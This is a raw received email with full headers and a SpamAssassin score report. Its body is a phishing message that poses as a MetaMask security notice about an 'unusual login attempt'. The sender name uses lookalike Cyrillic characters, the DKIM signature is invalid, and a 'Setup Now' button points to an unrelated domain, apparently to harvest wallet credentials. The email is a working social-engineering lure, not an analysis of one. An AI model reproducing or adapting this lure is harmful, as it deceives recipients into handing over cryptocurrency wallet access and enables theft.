22

✏️ Editing: 1748706854.M686109P752835.node93.myfcloudin.com,S=7303,W=7437:2,c

Envelope-to: info@autozone.com.sa
Delivery-date: Sat, 31 May 2025 15:54:14 +0000
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=default; d=c7e2514c76.nxcli.io;
  b=tthCqjl2W2ZMoIMm5btTKyXHJ5FQlBUhElEWC1jScbGxRhoBWjRQdW6HaxXiGsCAvdz4JkyBoRJqVN1yxpIGFLLVWiw6ofp9yUImmm3HJ+FAcqef6oWm4looIgtEeB1RFRcFeAQTqZxH2mquwAfEDyM+zykyH0j4sUV5uZr5vZUq9RKfHz5PbMBVDldJsylD2Tvkxy/0PWyRgY6Ekvm6JkKcGKQ4iLyo52nWULPn7SzByQJVTxf2bWYm9CH2hgceiOcAaSIqUzU1vxD6HCR0Tj6HBiKALljrNHvYFL/Y0ckuDS+a/D8cCLPgQnpvK4pCkG7zj8EXuz/B17oIx+JQMw==;
  h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority;
Date: 31 May 2025 15:44:15 +0000
Message-ID: <20250531154415.8934.qmail@cloudhost-10606083.us-midwest-2.nxcli.net>
To: info@autozone.com.sa
Subject: Lаst Reminder: Security Notification
From: "MetaMаsk" <uwudf4o7@rbx.io>
Reply-To: uwudf4o7@rbx.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
    
 Content analysis details:   (2.3 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                           [199.189.225.148 listed in bl.score.senderscore.com]
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was blocked.
                             See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URI: nxcli.io]
                             [URI: cccambox.me]
  0.0 URIBL_DBL_BLOCKED_OPENDNS ADMINISTRATOR NOTICE: The query to
                             dbl.spamhaus.org was blocked due to usage of an
                              open resolver. See
                             https://www.spamhaus.org/returnc/pub/
                             [URI: c7e2514c76.nxcli.io]
                             [URI: cccambox.me]
  0.0 RCVD_IN_ZEN_BLOCKED_OPENDNS RBL: ADMINISTRATOR NOTICE: The query to
                             zen.spamhaus.org was blocked due to usage of an
                              open resolver. See
                             https://www.spamhaus.org/returnc/pub/
                             [199.189.225.148 listed in zen.spamhaus.org]
  1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
             [Blocked - see <https://www.spamcop.net/bl.shtml?199.189.225.148>]
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
                              Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [199.189.225.148 listed in sa-accredit.habeas.com]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                        [199.189.225.148 listed in sa-trusted.bondedsender.org]
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily valid
  0.1 DKIM_INVALID           DKIM or DK signature exists, but is not valid
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
                             domains are different
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.8 KAM_INFOUSMEBIZ        Prevalent use of
                             .info|.us|.me|.me.uk|.biz|xyz|id|rocks|life
                             domains in spam/malware
X-Spam-Flag: NO

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>MetaMаsk Security Notice</title>
<style>
  body {margin:0;padding:0;background:#f4f4f7;font-family:Arial,sans-serif;color:#333}
  .box {max-width:500px;margin:40px auto;background:#fff;border-radius:8px;padding:24px 28px;box-shadow:0 2px 10px #0001}
  .logo {font-size:38px;margin-bottom:10px;text-align:center}
  h2 {color:#f6851b;text-align:center;font-size:20px;margin-bottom:20px}
  p {font-size:15px;line-height:1.6;margin:0 0 18px;text-align:center}
  .btn {
    display:inline-block;margin:22px auto;padding:10px 24px;background:#f6851b;
    color:#fff;text-decoration:none;border-radius:6px;font-weight:bold;font-size:15px
  }
  .footer {font-size:12px;color:#777;text-align:center;margin-top:26px}
</style>
</head>
<body>
<div class="box">
  <div class="logo">🦊</div>
  <h2>Unusual Login Attempt Detected</h2>
  <p>We've detected activity from an unfamiliar device on your MetaMаsk wallet.</p>
  <p>For your protection, we strongly recommend enabling Two-Factor Authentication (2FA).</p>
  <p><a href="https://cccambox.me/cpa/?id=8012280737534922421-4347" class="btn">🔐 Setup Now</a></p>
  <p class="footer">If this was you, no action is needed.<br>— MetaMаsk Security Team</p>
</div>
</body>
</html>

MR SKB